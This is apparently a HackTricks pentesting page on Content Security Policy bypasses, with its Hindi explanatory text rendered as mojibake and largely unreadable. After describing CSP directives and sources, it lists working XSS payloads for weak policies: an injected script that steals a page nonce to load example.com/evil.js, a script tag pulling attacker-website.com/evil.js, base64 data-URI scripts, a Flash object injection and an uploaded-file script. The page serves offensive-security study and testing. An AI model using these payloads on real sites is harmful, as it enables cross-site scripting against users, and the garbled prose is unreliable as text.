Content Security Policy (CSP) Bypass

Reading time: 36 minutes

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

What is CSP

Content Security Policy (CSP) рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рддрдХрдиреАрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдиреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдореБрдЦреНрдп рдЙрджреНрджреЗрд╢реНрдп рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (XSS) рдЬреИрд╕реЗ рд╣рдорд▓реЛрдВ рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рдирд╛ рд╣реИред рдпрд╣ рдЙрди рдкрдереЛрдВ рдФрд░ рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдФрд░ рд╡рд┐рд╕реНрддреГрдд рдХрд░рдХреЗ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпреЗ рд╕рдВрд╕рд╛рдзрди рдЫрд╡рд┐рдпреЛрдВ, рдлреНрд░реЗрдореЛрдВ рдФрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬреИрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рддрддреНрд╡реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдиреАрддрд┐ рдПрдХ рд╣реА рдбреЛрдореЗрди (self) рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЗрдирд▓рд╛рдЗрди рд╕рдВрд╕рд╛рдзрди рдФрд░ eval, setTimeout, рдпрд╛ setInterval рдЬреИрд╕реА рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╢рд╛рдорд┐рд▓ рд╣реИред

CSP рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдпрд╛ HTML рдкреГрд╖реНрда рдореЗрдВ рдореЗрдЯрд╛ рддрддреНрд╡реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рдиреАрддрд┐ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдЗрди рд╢рд░реНрддреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рддреБрд░рдВрдд рдХрд┐рд╕реА рднреА рдкрд╣рдЪрд╛рдиреА рдЧрдИ рдЙрд▓реНрд▓рдВрдШрдиреЛрдВ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рджреЗрддреЗ рд╣реИрдВред

  • Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • рдореЗрдЯрд╛ рдЯреИрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛:
xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP рдХреЛ рдЗрди рд╣реЗрдбрд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓рд╛рдЧреВ рдпрд╛ рдореЙрдирд┐рдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  • Content-Security-Policy: CSP рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ; рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХрд┐рд╕реА рднреА рдЙрд▓реНрд▓рдВрдШрди рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддрд╛ рд╣реИред
  • Content-Security-Policy-Report-Only: рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ; рдЙрд▓реНрд▓рдВрдШрдиреЛрдВ рдХреА рд░рд┐рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдЙрдиреНрд╣реЗрдВ рдмреНрд▓реЙрдХ рдХрд┐рдПред рдкреНрд░реА-рдкреНрд░реЛрдбрдХреНрд╢рди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ред

Defining Resources

CSP рд╕рдХреНрд░рд┐рдп рдФрд░ рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╕рд╛рдордЧреНрд░реА рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╕реНрдерд╛рдиреЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдЗрдирд▓рд╛рдЗрди JavaScript рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ eval() рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рдПрдХ рдЙрджрд╛рд╣рд░рдг рдиреАрддрд┐ рд╣реИ:

bash
default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none';

рдирд┐рд░реНрджреЗрд╢

  • script-src: JavaScript рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрд░реЛрддреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ URLs, рдЗрдирд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░реНрд╕ рдпрд╛ XSLT рд╕реНрдЯрд╛рдЗрд▓рд╢реАрдЯ рджреНрд╡рд╛рд░рд╛ рдЯреНрд░рд┐рдЧрд░ рдХреА рдЧрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред
  • default-src: рдЬрдм рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлреЗрдЪ рдирд┐рд░реНрджреЗрд╢ рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдиреАрддрд┐ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред
  • child-src: рд╡реЗрдм рд╡рд░реНрдХрд░реНрд╕ рдФрд░ рдПрдореНрдмреЗрдбреЗрдб рдлреНрд░реЗрдо рд╕рд╛рдордЧреНрд░реА рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
  • connect-src: рдЙрди URLs рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ fetch, WebSocket, XMLHttpRequest рдЬреИрд╕реА рдЗрдВрдЯрд░рдлреЗрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  • frame-src: рдлреНрд░реЗрдо рдХреЗ рд▓рд┐рдП URLs рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИред
  • frame-ancestors: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рд╕реНрд░реЛрдд рд╡рд░реНрддрдорд╛рди рдкреГрд╖реНрда рдХреЛ рдПрдореНрдмреЗрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ <frame>, <iframe>, <object>, <embed>, рдФрд░ <applet> рддрддреНрд╡реЛрдВ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИред
  • img-src: рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • font-src: @font-face рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЛрдб рдХрд┐рдП рдЧрдП рдлреЛрдВрдЯ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
  • manifest-src: рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореИрдирд┐рдлреЗрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • media-src: рдореАрдбрд┐рдпрд╛ рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • object-src: <object>, <embed>, рдФрд░ <applet> рддрддреНрд╡реЛрдВ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • base-uri: <base> рддрддреНрд╡реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдордд URLs рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
  • form-action: рдлрд╝реЙрд░реНрдо рд╕рдмрдорд┐рд╢рди рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рддрд╛ рд╣реИред
  • plugin-types: рдЙрди MIME рдкреНрд░рдХрд╛рд░реЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ рдкреГрд╖реНрда рд╕рдХреНрд░рд┐рдп рдХрд░ рд╕рдХрддрд╛ рд╣реИред
  • upgrade-insecure-requests: рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЛ HTTP URLs рдХреЛ HTTPS рдореЗрдВ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред
  • sandbox: <iframe> рдХреЗ sandbox рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рдорд╛рди рдкреНрд░рддрд┐рдмрдВрдз рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред
  • report-to: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдиреАрддрд┐ рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рд╣реЛрддрд╛ рд╣реИ рддреЛ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рд╕ рд╕рдореВрд╣ рдХреЛ рднреЗрдЬреА рдЬрд╛рдПрдЧреАред
  • worker-src: рд╡рд░реНрдХрд░, SharedWorker, рдпрд╛ ServiceWorker рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред
  • prefetch-src: рдЙрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рд╕реНрд░реЛрддреЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдпрд╛ рдкреВрд░реНрд╡-рд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
  • navigate-to: рдЙрди URLs рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рди рдкрд░ рдХреЛрдИ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд┐рд╕реА рднреА рддрд░реАрдХреЗ рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (a, form, window.location, window.open, рдЖрджрд┐)

рд╕реНрд░реЛрдд

  • *: рд╕рднреА URLs рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рд╕рд┐рд╡рд╛рдп data:, blob:, filesystem: рд╕реНрдХреАрдореЛрдВ рдХреЗред
  • 'self': рд╕рдорд╛рди рдбреЛрдореЗрди рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • 'data': рдбреЗрдЯрд╛ рд╕реНрдХреАрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреИрд╕реЗ, Base64 рдПрдиреНрдХреЛрдбреЗрдб рдЫрд╡рд┐рдпрд╛рдБ)ред
  • 'none': рдХрд┐рд╕реА рднреА рд╕реНрд░реЛрдд рд╕реЗ рд▓реЛрдбрд┐рдВрдЧ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддрд╛ рд╣реИред
  • 'unsafe-eval': eval() рдФрд░ рд╕рдорд╛рди рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред
  • 'unsafe-hashes': рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЗрдирд▓рд╛рдЗрди рдЗрд╡реЗрдВрдЯ рд╣реИрдВрдбрд▓рд░реНрд╕ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИред
  • 'unsafe-inline': рдЗрдирд▓рд╛рдЗрди <script> рдпрд╛ <style> рдЬреИрд╕реА рдЗрдирд▓рд╛рдЗрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред
  • 'nonce': рдПрдХ рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд┐рдХ nonce (рдПрдХ рдмрд╛рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рд╕рдВрдЦреНрдпрд╛) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЗрдирд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯред
  • рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ JS рд╕реАрдорд┐рдд рдирд┐рд╖реНрдкрд╛рджрди рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░ рдПрдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ nonce рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ doc.defaultView.top.document.querySelector("[nonce]") рдХреЗ рд╕рд╛рде рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдпрджрд┐ strict-dynamic рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХреЛрдИ рднреА рдЕрдиреБрдордд рд╕реНрд░реЛрдд рдирдП рд╕реНрд░реЛрддреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ), рдЬреИрд╕реЗ рдХрд┐:
Nonce рдХрд╛ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░реЗрдВ
html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ --> <img src="x" ng-on-error=' doc=$event.target.ownerDocument; a=doc.defaultView.top.document.querySelector("[nonce]"); b=doc.createElement("script"); b.src="//example.com/evil.js"; b.nonce=a.nonce; doc.body.appendChild(b)' />
  • 'sha256-<hash>': рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ sha256 рд╣реИрд╢ рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд░рддрд╛ рд╣реИред
  • 'strict-dynamic': рдпрджрд┐ рдЗрд╕реЗ nonce рдпрд╛ рд╣реИрд╢ рджреНрд╡рд╛рд░рд╛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ рдХрд┐рд╕реА рднреА рд╕реНрд░реЛрдд рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • 'host': рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реЛрд╕реНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ example.comред
  • https:: рдЙрди URL рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ HTTPS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред
  • blob:: Blob URLs (рдЬреИрд╕реЗ, JavaScript рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрдирд╛рдП рдЧрдП Blob URLs) рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • filesystem:: рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • 'report-sample': рдЙрд▓реНрд▓рдВрдШрди рд░рд┐рдкреЛрд░реНрдЯ рдореЗрдВ рдЙрд▓реНрд▓рдВрдШрди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЛрдб рдХрд╛ рдПрдХ рдирдореВрдирд╛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдмрдЧрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА)ред
  • 'strict-origin': 'self' рдХреЗ рд╕рдорд╛рди рд▓реЗрдХрд┐рди рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕реНрд░реЛрддреЛрдВ рдХрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕реБрд░рдХреНрд╖рд╛ рд╕реНрддрд░ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ (рдХреЗрд╡рд▓ рд╕реБрд░рдХреНрд╖рд┐рдд рдореВрд▓ рд╕реБрд░рдХреНрд╖рд┐рдд рдореВрд▓ рд╕реЗ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
  • 'strict-origin-when-cross-origin': рд╕рдорд╛рди рдореВрд▓ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╕рдордп рдкреВрд░реНрдг URL рднреЗрдЬрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рддрдм рдореВрд▓ рднреЗрдЬрддрд╛ рд╣реИ рдЬрдм рдЕрдиреБрд░реЛрдз рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╣реЛред
  • 'unsafe-allow-redirects': рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рддреБрд░рдВрдд рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрди рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░реЗрдВрдЧреЗред рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдХрдордЬреЛрд░ рдХрд░рдиреЗ рдХреЗ рдХрд╛рд░рдг рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИред

Unsafe CSP Rules

'unsafe-inline'

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';

рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЗрд▓реЛрдб: "/><script>alert(1);</script>

self + 'unsafe-inline' Iframes рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

caution

рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ, рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ.

yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';

рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЗрд▓реЛрдб:

html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рддрд░рд╣ рдПрдХ рдЕрдиреБрдордд JS рдХреЛрдб рдХреЛ DOM рдореЗрдВ рдПрдХ рдирдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдПрдХ рдЕрдиреБрдордд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЗрд╕реЗ рдмрдирд╛ рд░рд╣реА рд╣реИ, рддреЛ рдирдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдПрдЧреАред

Wildcard (*)

yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;

рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреЗрд▓реЛрдб:

html
"/>'><script src=https://attacker-website.com/evil.js></script> "/>'><script src=data:text/javascript,alert(1337)></script>

Lack of object-src and default-src

[!CAUTION] > рдпрд╣ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЕрдм рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ

yaml
Content-Security-Policy: script-src 'self' ;

рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкреЗрд▓реЛрдб:

html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object>

рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб + 'self'

yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;

рдпрджрд┐ рдЖрдк рдПрдХ JS рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

рдХрд╛рд░реНрдпрд╢реАрд▓ рдкреЗрд▓реЛрдб:

html
"/>'><script src="/uploads/picture.png.js"></script>

